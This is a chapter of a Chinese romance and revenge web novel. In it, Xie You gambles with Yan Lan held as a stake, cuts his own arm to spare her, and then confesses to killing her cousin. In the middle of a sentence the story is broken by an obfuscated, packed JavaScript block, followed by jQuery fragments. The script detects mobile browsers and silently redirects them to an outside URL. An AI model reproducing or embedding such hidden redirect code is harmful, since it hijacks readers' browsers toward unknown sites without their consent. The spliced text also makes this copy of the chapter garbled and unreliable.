还没来得及问赌注,燕览便被挟着进去。
包厢不大,正中便是一个牌桌。落座在桌一头的“公子”长相秀气清丽,燕览多有女扮男装的经验,一眼便看出她是个女子。
婢子把二人领了进去,微微欠身,“主上,人到了。”
说罢,便自觉地屏退了出去。
牌桌边的女子单手扣在桌边,玉指纤细如柳,长而润的藕色指甲轻敲着桌沿,嘴边噙了抹看不出情绪的弧度,淡若琥珀的眸色伴随无焦的眼神,但眉头微蹙,却让人看出她分明察觉了来者。
“常老板,久等。”谢游打破了沉默。
常艺这才缓缓抬眸,眼波传递至二人身周。燕览戴着半副白猫面具,透过眼孔缝隙,她看到这位“常老板”迅速将目光落在她的身上。
她的瞳色很淡,不知是不是因为这样的原因,才让她看起来不怒自威。而燕览简单打量她一番,却从她隽秀的眉眼看出一种弱柳扶风的柔美,宛若一场春雾。如是身着女装,恐怕一身碧绿颜色最是适合。
常艺眯眼,戏谑道,“这就是你的‘保命财’?”
谢游颔首。
燕览尚没摸清局势,常艺淡淡挥手,嚷了句“来人”,便有三两汉子从外边钻进来,三下五除二就把燕览扣住了。
谢游无动于衷,燕览一头雾水,心里急,表情上却尽量控制了住。
“想好了?就她了?”常艺的声音如细丝一样生长蔓延在空间里。
谢游郑重点头,旋即对着燕览拱手,“夫人,对不住了。”
燕览:“?”
这又是哪出戏码?
看起来不是很妙的样子。
果然,下一刻,常艺换了个姿势,撑着脸,好生慵懒地说了句让燕览寒冷彻骨的话:“输了这局,你夫人可就要留在赌坊当一辈子下人了。你当真不心疼?”
好家伙,这是把她当“押金”扣着了是吧?!
燕览怒目圆睁地望向谢游,谢游却装作可怜地与她对视,唯独眉头微蹙,嘴边却凄凄惨惨道:“夫人,谢某若有来世,定给你当牛做马。”
燕览心中勃然大怒。
来世??呵,不必了!他要是输了,她今日就算是把赌坊烧了也要逃出去,再把他大卸八块,以解心头之恨!
燕览双手被汉子擒住,不断挣扎,咬牙切齿地喊着:“谢游,你个王八蛋!”
谢游心下诧异,没想到燕览竟能入戏如此快,演得这么好。
殊不知不是演的。
赌局正式开始。这牌桌镶嵌着描金的梅花,而他们各自手边陈列的叶子牌似的东西,燕览也未曾见过,想必是种不太常见的游戏。
外面大堂里的赌局皆是咒骂欢呼声此起彼伏,交替出现,无论哪个都震耳欲聋,就像过年似的热闹喧嚣。可这包厢里二人对赌,却风度翩翩,你谦我让的,不知道的还以为在吟诗作对。
燕览不屑地撇嘴,一直被两个汉子控着,她也只能干看着。
赌局进行着,二人旗鼓相当。常艺嘴边噙着的笑容始终未曾放下,轮到谢游的回合,她才稍稍松懈一些,却也只是神态上的,或是说以松懈的面貌示人,实则在燕览看来,却更像恶狼环伺。
趁谢游在掷骰子,她眉头舒展,柔情似水地问,“听说谢公子,不是邶江人?”
“在下来自京城。”谢游头也不抬。
“嗯…”常艺若有所思,“京城的赌坊可有我‘花之艺’这般大?”
谢游顿了顿,抬眸:“京中禁赌,地下赌坊往往小而脏,和这里乃云泥之别。”
常艺听罢淡淡一笑,“谢公子的样貌,也不像那等痴迷不悟的碎玉郎......听闻昨日你赢了大堂里的三赌仙,今日就顺势而上赢了狐公子,才两日,你竟就到我跟前了。”
“你可知道这整整一个邶江城,能有资格和我呼卢喝雉之人,一只手都数得过来。你如此不好赌,何来这般妙手?”
常艺故作浮夸地看着谢游,像是在逗他。
谢游心神平稳,失笑道,“不过是运气罢了。”
“我就猜谢公子会这样自谦。”常艺俏皮地抢道。
轮到她的回合,她右手轻巧抚上骰筒摇起来,却好似起舞手势一样轻逸,嘴边笑容不减,淡色眼眸忽得闪了闪。
“这般,不如我们加个赌注?”
谢游手上动作一顿,“常老板的意思是?”
“每输一回合,便在你夫人的手臂上割一刀。”常艺云淡风轻道,“看看谢公子你的运气,到底还会不会好。”
此言一出,燕览脸色立马如墨一样黑。
再看谢游,沉稳如他始终没有半分露怯,只有唇角僵硬地扯了扯。燕览看不出他是紧张、生气、惊恐,还是事不关己、正中下怀。
不过她料想是后者。
很快她兀自为自己对谢游有刹那的侥幸感到自嘲,她与他是宿敌,她伤了,他高兴还来不及。
而仿若真是如此,谢游顿了半晌应声,“有何不可?”
“谢公子爽快。”常艺勾勾白葱般的手指,“来人,拿刀子来。”
刚才的婢女很快端进来一叠刀具,里面大大小小长长短短的刀什么都有,亮锃锃地闪着燕览的眼睛。刀刃释放着寒冷的光,把暖色的包厢都衬得阴冷起来。
谢游和燕览的目光同时聚焦到了这一套骇人的刀具上。只不过,谢游只是余光微侧,身体却不动如钟,无人注意到他视线所指,也无人注意到那弧僵硬的嘴角染上了愠色。
而燕览看着刀具被婢女整齐地摆放在乌木台上,内心竟然平静无波,甚至暗自嘲笑。
刀割在身上的感觉,她未免体验得司空见惯,甚至薄刃与宽刀割在身上的感觉,她都还能叫出分别。
面对此等威慑,她没想到第一种冲上来的情绪不是恐惧,而是熟悉。对于陈年往事的创伤,她本以为自己多多少少会陡然不受控地一惊,但现在事实在眼前,她却只剩下熟稔。不论是受刀还是用刀,她都经历过数不清的锤炼。往事的狰狞面目确有浮现,只不过是顷刻便消散了。
她看了看谢游,他默不作声。她本无需为了谢游受此一难,只需挣脱跑了就好。
但她即使知道此理,此刻却偏偏不想动了,任由汉子粗粝的手架住。
汉子把燕览架得更死,只听常艺道,“那么,我们便继续吧。”
谢游沉默颔首。
赌局继续,彼时正是平手,而接下来的对局里,除了常艺说话,谢游便再一言不发。常艺好生爱看这等戏码,成了心要分散谢游的注意力,一直抛出话题。从家长里短聊到国政大事,谢游只是礼貌回应,不卑不亢,手中动作却在做决断时比方才多了几分慎重。
但出其不意的是,他竟一直赢了下去,赢得常艺都快不想开玩笑,面色有些难看,像乌木柱子一样阴郁衰老。
常艺这才意识到,谢游刚才还不曾施展本事,现在才露了出来。她嗤笑了声。
眼看谢游的比分逐渐远超常艺,她作为邶江第一圣手也有些挂不住面子了,便不再说话。二人在沉默中较劲,房间里噤若寒蝉,却未免四溢着杀气。
赌亦是一项体力活,常艺原本水雾江南一样的清丽容貌如今覆盖上一层绯红,像夕阳斜照;谢游虽抿着唇角带笑,额角也渗了些汗珠,乌黑的墨发略乱,几缕青丝拂乱在呲牙咧嘴的黑猫面具前。
就这样赌了半柱香,燕览旁边的汉子握着第一把刀具都有点累了,谢游还没输。不过虽是赢了,赢得也不大,算是给了常艺面子。
赌局终于来到最后一轮,胜负已定。按照规则,无论谢游在这一小回合里是输是赢,他都赢了。
常艺输得起,正了正身子,释然一笑,反而松和下来,颇具赏识道,“看来我这第一圣手的位置要拱手相让了。”
谢游并不说话,手中气定神闲摇着骰子。
不出意外,这最后一回合他也定然不会输,故常艺也不再盯着牌桌上的结果,已经进入了放松状态,一旁的汉子也又佩服又无趣地扔了刀具,松了燕览的臂膀。
燕览甩了甩胳膊,喘着气。
无人再在意这最后的结果,牌桌上骰子摇落滚动,像豆子一样叽里咕噜地转着,无非是走个过场。
却不料,最后一粒骰子定了下来,一声惊呼炸开,石破天惊一般:
“老板快看,谢公子这局输了——!”
话音来自常艺身旁的婢女,她正指着还带着余劲摇曳的骰子,骰子上的数字的确宣告着这一小回合谢游惜败。
常艺闻声不可思议地看向牌桌,刚扔了刀子的汉子也陡然抓住了燕览,又拾起了刀具,蓄势待发干劲满满。屋内的肃杀之气还未稀释便又浓烈起来,常艺愣了愣神,忽然大笑。
末了她单手捧着脸,意兴像未熄灭的烟斗一样触碰空气便熊熊复燃,望着谢游唏嘘道:
“怎会如此?可惜。看来,今日我这新加的赌注非得有个用武之地了。”
燕览紧张地窥向谢游。
他单手扣在牌桌边,强力压制颤抖的指尖,身板也僵硬如枯木。
不是吧大哥…
燕览心里鬼哭狼嚎。
赢都赢了,还非得让我挨一刀?
谢游平日沉稳,此时却如芒在背一般坐不住。他忍了忍指尖的战栗,干脆握拳,望向常艺却欲言又止。
“怎么,公子舍不得?”常艺见状柔声,堵住了谢游的话头,“可这是规矩。”
“来人。”
常艺勾勾手指,那擒着燕览的汉子一看来活了,兴高采烈地拧开了酒壶,往那刀具上倾倒,整装待发,迫不及待。
“谢夫人放心,不会很疼。”常艺转过身,像看戏一样慵懒地看着这出符合她心意的戏码,“割完回了府,叫谢公子给你上点药,不出半月便能愈合。”
燕览心道“我知道”,眼眸却定定盯死了谢游,目如剑光,像要把他看穿看死,后牙槽狠命咬住,生怕压不住滔天怒气,下一秒便冲出去要了他的命。
奈何蛰伏多年,忍一时之快已经变成了不必说服的习惯。
等这刀割完,她也算仗义了,下来之后,她定加倍奉还。
薄刃冰冷锐利,接近燕览的光洁的小臂,小时候受过的伤都在后背,她暗自啐了声,心里暗念“割吧割吧,就这一处白的地儿都让你割了”。
刀贴上皮,却被常艺忽然叫住。她蹙眉,“换一把,这把太钝了。”
汉子紧急停止,“是。”
常艺旋过头,盯着谢游,“你不介意吧,谢公子?”
谢游攥紧了拳,像是在酝酿什么。
汉子换好刀,常艺点头肯定,不待多说便潇洒扬手,然而落下之时——
“且慢!”
谢游募地站起身。
他撸起袖子,一根精细白皙的小臂暴起青筋,脉络清晰可见,随即大步流星走到汉子跟前,抢了那刀,不待众人反应,便往小臂上深深一划。
皮肉迅速绽开,鲜红的血汩汩流淌满手,未己便如画中溪流小瀑一样涓涓垂落到了地板。
“我替她割。”
“若不够,两刀亦可。”
他目光坚毅看着常艺,常艺却并不惊讶,反倒略显失望。
“谢公子,你坏了规矩。”
“任凭常老板处置。”
“两刀不必了。”常艺意兴阑珊,“但今日原本的赌注,恐怕你拿不走了。”
谢游不顾鲜血直流,一手虚虚掩住,沉声:
“原本对赌筹码是黄金万两,在下愿意舍弃。”他道,“但在下赢了这赌局,如今只想向常老板讨一物。”
“何物?”
“传闻邶江矿石提炼技艺精湛,在下要的一物,便是经水飞法提纯后的朱砂。”
常艺闻言微讶,“你要朱砂做什么?”
谢游以笑而对。
常艺不追问,扬言道,“我这赌坊是做生意的地方,只在乎金银流水,今日你坏了规矩,就算赢了所有人也拿不了这赏金。不过你所言此物价格倒是不高,我府上就有,随你拿便是。”
谢游颔首,“多谢。”
“你当真只要这东西?”
谢游捂着流血的手,“常老板若愿意收回成命,许我黄金万两,那在下自然笑纳。”
常艺戏谑,“坏了规矩,后悔可来不及了。”
“你走吧,朱砂我会择日派人给你。”末了眼神在燕览身上游移,“回去好好叫你夫人包扎上药,这好端端一双善赌的妙手,可别废了。”
·
二人找了间就近的茶室。正值饯花节,茶室也人满为患,嘈杂热闹。
嫌吵,进来时燕览便合上了门。屋内静同溺水,只剩烛花偶尔炸开的酥响。
燕览拆下已经被血沾湿的衣服布料,旋即扯来一旁小厮送来的纱布,不断替他擦拭着伤口上的血。
她手上的动作一会儿轻一会儿重,好似在说话一样,有重音似的宣泄传递着什么。
“很痛。”谢游冷不丁道。
“我可没问你。”
“阿览——”
话音未落,燕览便把纱布“嘭”地一扔,砸在地上。
“谢游,你闹够了没有?”她怒道。
来的路上,谢游逞强没事,燕览便撕了他的衣角先缠上止血,虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071311|178471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是这般关怀,谢游却总觉得她有点冷漠,像忍耐着什么。
如今便爆发了。
“最后一局,是你故意输的吧?”燕览问。
谢游露出意外神色,却不反驳。
“我看你的目标根本不是什么黄金万两,怕正是冲着那朱砂去的!输了一回合,正好替我挡了刀卖个人情,还能找个藉口,顺势换个价值低廉的赌注,以拿到你想要的东西。”燕览一气呵成,啐道,“你还真是会打算盘啊——”
谢游意外神色更甚,甚至里头包含了点欣喜和雀跃,反而没有丝毫被拆穿的窘迫。他不知道她是什么时候发现的,他明明装出很紧张很担心的样子,他明明在最紧要的危急关头才站起来,表面义正言辞地挡了一刀,心底却还在冰冷地清数着这局的利弊。他明明遮掩得很好。
谢游垂眸失笑,“阿览,你还是这么了解我。”末了他叹气,“可惜啊,仍有一成失算。”
他站起身,一只手的袖子还卷起,露出渗血的纱布,一只手自然下垂,朝燕览走过去。
“有人的心还是那么冷,没有丝毫动容。”
燕览听罢可笑地发出声“嘁”,转言道:
“你是忘了我今日来的目的么?”她挑衅地看了眼谢游的手,“区区一刀,能抵什么?谁没挨过似的。”
谢游敞开怀抱:“那再来几刀?”
他永远这样在出人意料的地方没个正型。燕览一拳打在棉花上,忍住了冲动,立马换了个话题:
“我问你,你为什么给聆漪赎身?”
话题终于来到燕览的领域。
他这时仍然好整以暇,“你想听真话还是假话?”
燕览忍气吞声,静候下文。
“假话是,聆漪是个聪明姑娘,待在青楼委屈了她,你既然费心要带她出去,我添点小钱遂了这个愿,有何不可?”
一听就是冠冕堂皇。燕览腹诽。
谢游走近一步,“真话是,我干这些无关的事,就是为了现在。”
“我喜欢你现在的反应。”
“你生气了,阿览。”
对他生气了,他心下道。
燕览并不觉得他说了真话,反而两边都是莫名其妙的大假话。她不置可否,只觉得眼前这人更不可理喻。无论和他再说什么,都是徒劳。
燕览摊开手,“给我。”
“黄金八十两,我不要了。”她沉声,坚毅地四目相对,“我只要俞听鸿的下落。”
听到这名字,谢游原本还饶有兴趣的表情明显冷了下来。他眉心和眼皮急跳,眼神也不自觉沉入深渊。
燕览却尚未察觉,重复着诉求,“我应了你的不情之请,陪你赢了这局,你拿了你想要的,我自然也要我的东西。”
“你的东西?”谢游逼近,“他是你什么人?”
“这种问题你不是都查到了,还问我做什——”
“你就这么急不可耐地要知道他是生是死?”谢游抢道。
那话语中外溢着一股狠厉和不屑。
“这是我的事。”燕览正色,“趁我还不想和你兵戎相见,告诉我。只要我能找到活着的他,你就能逃过一死。”
谢游听罢,勾起唇角嗤笑,那笑声中满是轻蔑和荒唐,“你的意思是,在你这里,我还要靠他才能活下去?”他将“靠他”两字说得尤其重。
话毕,“可笑”二字未曾出声,燕览却分明读到了这字眼的形状。
燕览被他绕了进去,半晌自己的思绪才绕出来。她将怒气放在一边,如今他只想要确保俞听鸿的平安,便强压情绪,甚至晓之以理:
“你我的事是另一码事,”听到这,谢游还回眸看了眼燕览,却不料她继续说,“可俞听鸿是无辜的。他只是一介文弱书生,自小没练过武功,连杀个牲畜他都不敢。你知道我不是什么干净的人,他独自赴京寻我,若是被谁发难遇上不测,他根本无法自救,我怎么放心他独自漂泊在外,至今杳无音讯?”
“你真了解他啊。”
半晌,谢游才回了这句短短的话。
他朝她逼近,把她逼退到茶室的窗台前,直至腰间抵上桌案,不能再退。
“那你说,你我的事是什么事?”
“那你又说,若我杀了他,这事是不是就是你我之事了?”
燕览惊愕地望着他。
“谢游,你到底怎样才肯放过他?!”燕览浑身战栗,已经快要压制不住体内的怒火,“你与他无冤无仇,为何一定要到这种地步?”
“有件东西我本来不想给你。”谢游募地说道。
接着,他从怀里掏出一块蟠螭纹玉佩。玉佩质地温润,一看就被主人摩挲了经年,色泽也略显斑驳陈旧。而那上面,遍布着不曾洗净的暗黑血渍。
谢游把玉佩扔在燕览身上,燕览忙接了住。
她手忙脚乱地握着玉佩看了又看,唇不自觉颤抖:
“这是表哥的......”
她不会认错。
经年的记忆即使久远,也会在看到真实物件的那刻排山倒海一样涌来。
她曾躲在草屋子黑漆漆的灶台后窥探,看到洗菜的表哥来回踱步,腰间玉佩摇曳不止;
她也曾在生病乖乖接受表哥喂药时半吞半呕,怔松注意到他腰间这块玉佩温润饱满,像极了一颗甜糖;
她也曾在睡梦中听到环佩叮当作响,便望向斑驳木门,映入眼帘便是这枚玉佩,再是端着大包小包好东西进来的带笑的表哥......
童年的记忆一幕幕,一场场。这枚蟠螭纹玉佩在她心里原来很大,现在握在手中,却那么小,那么小。
记忆里很温润,现在握在手中,却那么粗粝,那么斑驳。
她从未看过这枚玉佩染上血色。
霎时,记忆里的一切,也便顷刻染上猩红了。
“血,是他的么......”她紧紧攥着玉佩,不可置信地一问,却早已料到回答。
“是,”谢游直直望着燕览,“我把他杀了。”
他想知道,如果他说出这话,接下来到底会发生什么翻天覆地的事情。
他想知道,他费尽心思才让燕览为他哪怕生一点气,动一丝怒,为何俞听鸿却能轻而易举占据她的情绪,甚至引导她的行为。
他想知道,这其中的分量之衡较。
纵使他兴许知道答案,但也带着这种毁灭的欲望赴前。
燕览的眸子中渲染着滔天的憎恨。
她叹了气又笑,笑了又笑,随后把玉佩塞进衣襟,另一只手已经顺手拿着茶桌上插着的剪刀,刀尖直直对准谢游。
“那便一命偿一命。”